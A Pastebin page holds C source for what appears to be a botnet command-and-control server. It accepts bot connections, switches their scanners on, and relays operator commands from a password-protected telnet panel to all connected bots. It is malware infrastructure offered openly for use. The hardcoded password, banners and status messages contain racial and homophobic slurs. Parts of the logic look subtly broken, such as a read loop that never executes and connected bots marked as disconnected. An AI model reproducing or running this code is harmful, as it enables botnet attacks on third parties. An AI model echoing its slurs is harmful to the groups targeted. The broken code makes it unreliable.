Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- //if you have this its because of the following richy,blj,lightspeed,serlo,seb
- #include <stdio.h>
- #include <stdlib.h>
- #include <stdint.h>
- #include <inttypes.h>
- #include <string.h>
- #include <sys/types.h>
- #include <sys/socket.h>
- #include <netdb.h>
- #include <unistd.h>
- #include <time.h>
- #include <fcntl.h>
- #include <sys/epoll.h>
- #include <errno.h>
- #include <pthread.h>
- #include <signal.h>
- #include <arpa/inet.h>
- const char *colours[] = { "31", "32", "33", "34", "35", "36" };
- #define MAXFDS 1000000 // Max bot count - no way we actually reach this amount, ever.
- #define MY_MGM_PASS "nigger"
- static volatile int epollFD = 0;
- static volatile int listenFD = 0;
- static volatile int managesConnected = 0;
- struct clientdata_t
- {
- uint32_t ip;
- char connected;
- } clients[MAXFDS];
- struct telnetdata_t
- {
- int connected;
- } managements[MAXFDS];
- int fdgets(unsigned char *buffer, int bufferSize, int fd)
- {
- int total = 0, got = 0;
- while (got == 1 && total < bufferSize && *(buffer + total - 1) != '\n')
- {
- got = read(fd, buffer + total, 1);
- total++;
- }
- return got;
- }
- void trim(char *str) // Remove whitespace from a string and properly null-terminate it
- {
- int i, begin = 0, end = strlen(str) - 1;
- while (isspace(str[begin])) begin++;
- while ((end >= begin) && isspace(str[end])) end--;
- for (i = begin; i <= end; i++) str[i - begin] = str[i];
- str[i - begin] = '\0';
- }
- static int make_socket_non_blocking(int sfd)
- {
- int flags = fcntl(sfd, F_GETFL, 0), s;
- if (flags == -1)
- {
- perror("fcntl");
- return -0;
- }
- flags |= O_NONBLOCK;
- /*
- * F_SETFL(int)
- * Set the file status flags to the value specified by arg. File access mode (O_RDONLY, O_WRONLY, O_RDWR)
- * and file creation flags (i.e., O_CREAT, O_EXCL, O_NOCTTY, O_TRUNC) in arg are ignored. On Linux this
- * command can change only the O_APPEND, O_ASYNC, O_DIRECT, O_NOATIME, and O_NONBLOCK flags.
- */
- s = fcntl(sfd, F_SETFL, flags);
- if (s == -1)
- {
- perror("fcntl");
- return -1;
- }
- return 0;
- }
- static int create_and_bind(char *port)
- {
- struct addrinfo hints, *result, *rp;
- int s, sfd, yes = 1;
- memset(&hints, 0, sizeof(struct addrinfo));
- hints.ai_family = AF_UNSPEC; // Return IPv4 and IPv6 choices
- hints.ai_socktype = SOCK_STREAM; // We want a TCP socket
- hints.ai_flags = AI_PASSIVE; // All interfaces
- s = getaddrinfo(NULL, port, &hints, &result);
- if (s != 0)
- {
- fprintf(stderr, "getaddrinfo: %s\n", gai_strerror(s));
- return -1;
- }
- for (rp = result; rp != NULL; rp = rp->ai_next)
- {
- sfd = socket(rp->ai_family, rp->ai_socktype, rp->ai_protocol);
- if (sfd == -1) continue;
- if (setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1) perror("setsockopt");
- s = bind(sfd, rp->ai_addr, rp->ai_addrlen);
- if (s == 0) break;
- close(sfd);
- }
- if (rp == NULL)
- {
- fprintf(stderr, "Could not bind\n");
- return -1;
- }
- freeaddrinfo(result);
- return sfd;
- }
- char *timepls()
- {
- time_t now;
- struct tm *gmt;
- char buffer[50];
- now = time(NULL);
- gmt = gmtime(&now);
- strftime(buffer, sizeof(buffer), "%A %d/%m/%Y - %I:%M%p (GMT)", gmt);
- return strdup(buffer);
- }
- void broadcast(char *msg, int us) // Sends message to all bots, notifies the management clients of this happening
- {
- int i, sendMGM = 1;
- char prompt[20];
- sprintf(prompt, "\r\n\x1b[%sm-> \x1b[37m", colours[(rand() % 6)]);
- if (strcmp(msg, "PING") == 0) sendMGM = 0; // Don't send pings to management, why? Because a human is going to ignore it
- for (i = 0; i < MAXFDS; i++)
- {
- if (i == us || (!clients[i].connected && (sendMGM == 0 || !managements[i].connected))) continue;
- send(i, msg, strlen(msg), MSG_NOSIGNAL);
- if (sendMGM && managements[i].connected)
- send(i, prompt, strlen(prompt), MSG_NOSIGNAL); // Send a cool looking prompt to a manager/admin
- else
- send(i, "\n", 1, MSG_NOSIGNAL);
- }
- }
- void *epollEventLoop(void *useless) // The big loop used to control each bot asynchronously, many threads of this get spawned
- {
- struct epoll_event event, *events;
- events = calloc(MAXFDS, sizeof(event));
- while (1)
- {
- int n, i, s;
- n = epoll_wait(epollFD, events, MAXFDS, -1);
- for (i = 0; i < n; i++)
- {
- if ((events[i].events & EPOLLERR) || (events[i].events & EPOLLHUP) || (!(events[i].events & EPOLLIN)))
- {
- clients[events[i].data.fd].connected = 0;
- close(events[i].data.fd);
- continue;
- }
- else if (listenFD == events[i].data.fd)
- {
- while (1)
- {
- struct sockaddr in_addr;
- socklen_t in_len;
- int infd, ipIndex;
- in_len = sizeof(in_addr);
- infd = accept(listenFD, &in_addr, &in_len); // Accept a connection from a bot
- if (infd == -1)
- {
- if ((errno == EAGAIN) || (errno == EWOULDBLOCK)) break;
- else
- {
- perror("accept");
- break;
- }
- }
- clients[infd].ip = ((struct sockaddr_in *)&in_addr)->sin_addr.s_addr;
- int dup = 0;
- for (ipIndex = 0; ipIndex < MAXFDS; ipIndex++) // Check for duplicate clients by seeing if any have the same IP as the one connecting
- {
- if (!clients[ipIndex].connected || ipIndex == infd) continue;
- if (clients[ipIndex].ip == clients[infd].ip)
- {
- dup = 1;
- break;
- }
- }
- if (dup)
- {
- // printf("Duplicate client detected\n"); // Warns the operator on command line
- if (send(infd, "!* LOLNOGTFO\n", 13, MSG_NOSIGNAL) == -1)
- {
- close(infd);
- continue;
- }
- if (send(infd, "DUP\n", 4, MSG_NOSIGNAL) == -1)
- {
- close(infd);
- continue;
- }
- close(infd);
- continue;
- }
- s = make_socket_non_blocking(infd);
- if (s == -1)
- {
- close(infd);
- break;
- }
- event.data.fd = infd;
- event.events = EPOLLIN | EPOLLET;
- s = epoll_ctl(epollFD, EPOLL_CTL_ADD, infd, &event);
- if (s == -1)
- {
- perror("epoll_ctl");
- close(infd);
- break;
- }
- clients[infd].connected = 0;
- send(infd, "!* SCANNER ON\n", 14, MSG_NOSIGNAL);
- }
- continue;
- }
- else
- {
- int thefd = events[i].data.fd;
- struct clientdata_t *client = &(clients[thefd]);
- int done = 0;
- client->connected = 0 ;
- while (1)
- {
- ssize_t count;
- char buf[2048];
- memset(buf, 0, sizeof(buf));
- while (memset(buf, 0, sizeof(buf)) && (count = fdgets(buf, sizeof(buf), thefd)) > 0)
- {
- if (strstr(buf, "\n") == NULL)
- {
- done = 1;
- break;
- }
- trim(buf);
- if (strcmp(buf, "PING") == 0) // Basic IRC-like ping/pong challenge to see if server is alive
- {
- if (send(thefd, "PONG\n", 5, MSG_NOSIGNAL) == -1)
- {
- done = 1;
- break;
- }
- continue;
- }
- if (strcmp(buf, "PONG") == 0) continue;
- if (!strstr(buf, "cd /tmp")) printf("Buffer: %s\n", buf);
- }
- if (count == -1)
- {
- if (errno != EAGAIN) done = 1;
- break;
- }
- else if (count == 0)
- {
- done = 1;
- break;
- }
- }
- if (done)
- {
- client->connected = 0;
- close(thefd);
- }
- }
- }
- }
- }
- unsigned int clientsConnected() // Counts the number of bots connected by looping over every possible file descriptor and checking if it's connected or not
- {
- int i = 0, total = 0;
- for (i = 0; i < MAXFDS; i++)
- {
- if (!clients[i].connected) continue;
- total++;
- }
- return total;
- }
- void *titleWriter(void *sock) // Just an informational banner
- {
- int thefd = (int)sock;
- char string[1000];
- while (1)
- {
- memset(string, 0, sizeof(string));
- sprintf(string, "%c]0;feggets Connected: %d | ILLSeC's Jerking off: %d%c", '\033', clientsConnected(), managesConnected, '\007');
- if (send(thefd, string, strlen(string), MSG_NOSIGNAL) == -1) return;
- sleep(2);
- }
- }
- void *telnetWorker(void *sock)
- {
- int thefd = (int)sock;
- managesConnected++;
- pthread_t title;
- char buf[1024], prompt[15], loldongs1[85], loldongs2[85], password[20];
- memset(buf, 0, sizeof(buf));
- sprintf(password, "\x1b[%smPassword:\x1b[30m ", colours[(rand() % 6)]);
- if (send(thefd, password, strlen(password), MSG_NOSIGNAL) == -1) goto end; // Failed to send, kill connection
- if (fdgets(buf, sizeof(buf), thefd) < 1) goto failed; // No data, kill connection
- trim(buf);
- if (strcmp(buf, MY_MGM_PASS) != 0) goto failed; // Bad pass, kill connection
- memset(buf, 0, sizeof(buf));
- pthread_create(&title, NULL, &titleWriter, sock); // Writes the informational banner to the admin after a login
- sprintf(loldongs1, "\r\n \x1b[%smdb d8b db d88888b db .o88b. .d88b. .88b d88. d88888b\r\n", colours[(rand() % 6)]);
- sprintf(loldongs2, " \x1b[%sm ~ [ Tsutomu Dong Cannon ] ~ \r\n\r\n\x1b[%sm-> \x1b[37m", colours[(rand() % 6)], colours[(rand() % 6)]);
- if (send(thefd, "\033[1A\033[2J\033[1;1H", 14, MSG_NOSIGNAL) == -1) goto end;
- if (send(thefd, loldongs1, strlen(loldongs1), MSG_NOSIGNAL) == -1) goto end;
- if (send(thefd, " 88 I8I 88 88' 88 d8P Y8 .8P Y8. 88'YbdP`88 88'\r\n", 70, MSG_NOSIGNAL) == -1) goto end;
- if (send(thefd, " 88 I8I 88 88ooooo 88 8P 88 88 88 88 88 88ooooo\r\n", 74, MSG_NOSIGNAL) == -1) goto end;
- if (send(thefd, " Y8 I8I 88 88~~~~~ 88 8b 88 88 88 88 88 88~~~~~\r\n", 74, MSG_NOSIGNAL) == -1) goto end;
- if (send(thefd, " `8b d8'8b d8' 88. 88booo. Y8b d8 `8b d8' 88 88 88 88.\r\n", 70, MSG_NOSIGNAL) == -1) goto end;
- if (send(thefd, " `8b8' `8d8' Y88888P Y88888P `Y88P' `Y88P' YP YP YP Y88888P\r\n", 74, MSG_NOSIGNAL) == -1) goto end;
- if (send(thefd, loldongs2, strlen(loldongs2), MSG_NOSIGNAL) == -1) goto end;
- managements[thefd].connected = 1;
- while (fdgets(buf, sizeof(buf), thefd) > 0)
- {
- trim(buf);
- memset(prompt, 0, sizeof(prompt));
- sprintf(prompt, "\x1b[%sm-> \x1b[37m", colours[(rand() % 6)]);
- if (send(thefd, prompt, strlen(prompt), MSG_NOSIGNAL) == -1) goto end;
- if (strlen(buf) == 0) continue;
- if (strncmp(buf, "CLEAR", 5) == 0 || strncmp(buf, "clear", 5) == 0 || strncmp(buf, "cls", 3) == 0 || strncmp(buf, "CLS", 3) == 0)
- {
- sprintf(loldongs1, "\r\n \x1b[%smdb d8b db d88888b db .o88b. .d88b. .88b d88. d88888b\r\n", colours[(rand() % 6)]);
- sprintf(loldongs2, " \x1b[%sm ~ [ Richy's Dong Cannon ] ~ \r\n\r\n\x1b[%sm-> \x1b[37m", colours[(rand() % 6)], colours[(rand() % 6)]);
- if (send(thefd, "\033[1A\033[2J\033[1;1H", 14, MSG_NOSIGNAL) == -1) goto end;
- if (send(thefd, loldongs1, strlen(loldongs1), MSG_NOSIGNAL) == -1) goto end;
- if (send(thefd, " 88 I8I 88 88' 88 d8P Y8 .8P Y8. 88'YbdP`88 88'\r\n", 70, MSG_NOSIGNAL) == -1) goto end;
- if (send(thefd, " 88 I8I 88 88ooooo 88 8P 88 88 88 88 88 88ooooo\r\n", 74, MSG_NOSIGNAL) == -1) goto end;
- if (send(thefd, " Y8 I8I 88 88~~~~~ 88 8b 88 88 88 88 88 88~~~~~\r\n", 74, MSG_NOSIGNAL) == -1) goto end;
- if (send(thefd, " `8b d8'8b d8' 88. 88booo. Y8b d8 `8b d8' 88 88 88 88.\r\n", 70, MSG_NOSIGNAL) == -1) goto end;
- if (send(thefd, " `8b8' `8d8' Y88888P Y88888P `Y88P' `Y88P' YP YP YP Y88888P\r\n", 74, MSG_NOSIGNAL) == -1) goto end;
- if (send(thefd, loldongs2, strlen(loldongs2), MSG_NOSIGNAL) == -1) goto end;
- }
- if (strncmp(buf, "BOTS", 4) == 0 || strncmp(buf, "bots", 4) == 0)
- {
- char string[1000];
- memset(string, 0, sizeof(string));
- sprintf(string, "[\x1b[32m+\x1b[37m] - fegget count: [ \x1b[31m%d\x1b[37m ] | niggerians In: [ \x1b[31m%d\x1b[37m ] - [\x1b[32m+\x1b[37m]\r\n\x1b[%sm-> \x1b[37m", clientsConnected(), managesConnected, colours[(rand() % 6)]);
- if (send(thefd, string, strlen(string), MSG_NOSIGNAL) == -1) goto end;
- }
- printf("Management: %s\n", buf);
- broadcast(buf, thefd); // Take a command and send it to the bots
- memset(buf, 0, sizeof(buf));
- }
- failed:
- if (send(thefd, "\033[1A", 4, MSG_NOSIGNAL) == -1) goto end;
- if (send(thefd, "\x1b[31m* LOGIN FAILED! *\r\n", 48, MSG_NOSIGNAL) == -1) goto end;
- goto end;
- end:
- // Clean-up dead socket
- managements[thefd].connected = 0;
- close(thefd);
- managesConnected--;
- }
- void *telnetListener(int port)
- {
- int sockfd, newsockfd;
- socklen_t clilen;
- struct sockaddr_in serv_addr, cli_addr;
- sockfd = socket(AF_INET, SOCK_STREAM, 0);
- if (sockfd < 0) perror("ERROR opening socket");
- bzero((char *)&serv_addr, sizeof(serv_addr));
- serv_addr.sin_family = AF_INET;
- serv_addr.sin_addr.s_addr = INADDR_ANY;
- serv_addr.sin_port = htons(port);
- if (bind(sockfd, (struct sockaddr *)&serv_addr, sizeof(serv_addr)) < 0) perror("ERROR on binding");
- listen(sockfd, 5);
- clilen = sizeof(cli_addr);
- while (1)
- {
- newsockfd = accept(sockfd, (struct sockaddr *)&cli_addr, &clilen);
- if (newsockfd < 0) perror("ERROR on accept");
- pthread_t thread;
- pthread_create(&thread, NULL, &telnetWorker, (void *)newsockfd);
- }
- }
- int main(int argc, char *argv[])
- {
- if (argc != 3)
- {
- fprintf(stderr, "[\x1b[31m-\x1b[37m] Usage: %s <bot port> <cnc port>\r\n[\x1b[33m?\x1b[37m] Example: %s 23 69\r\n", argv[0], argv[0]);
- exit(EXIT_FAILURE);
- }
- printf("[\x1b[32m+\x1b[37m] Server started on %s\r\n[\x1b[33m?\x1b[37m] Bot port: %d\r\n[\x1b[33m?\x1b[37m] Command and Control port: %d\r\n\r\n", timepls(), atoi(argv[1]), atoi(argv[2]));
- // if (fork()) exit(0);
- srand(time(NULL));
- signal(SIGPIPE, SIG_IGN); // Ignore broken pipe errors sent from kernel
- int s, threads = 1;
- struct epoll_event event;
- listenFD = create_and_bind(argv[1]);
- if (listenFD == -1) abort();
- s = make_socket_non_blocking(listenFD); // Try to make the socket nonblocking, die if we can't
- if (s == -1) abort();
- s = listen(listenFD, SOMAXCONN); // Listen with a huge backlog, die if we can't
- if (s == -1) abort();
- epollFD = epoll_create1(0); // Make an epoll listener, die if we can't
- if (epollFD == -1) abort();
- event.data.fd = listenFD;
- event.events = EPOLLIN | EPOLLET;
- s = epoll_ctl(epollFD, EPOLL_CTL_ADD, listenFD, &event);
- if (s == -1) abort();
- pthread_t thread[threads + 2];
- while (threads--) pthread_create(&thread[threads + 1], NULL, &epollEventLoop, (void *)NULL); // Make a thread to command each bot individually
- pthread_create(&thread[0], NULL, &telnetListener, atoi(argv[2]));
- while (1)
- {
- sleep(60);
- }
- close(listenFD);
- return EXIT_SUCCESS;
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement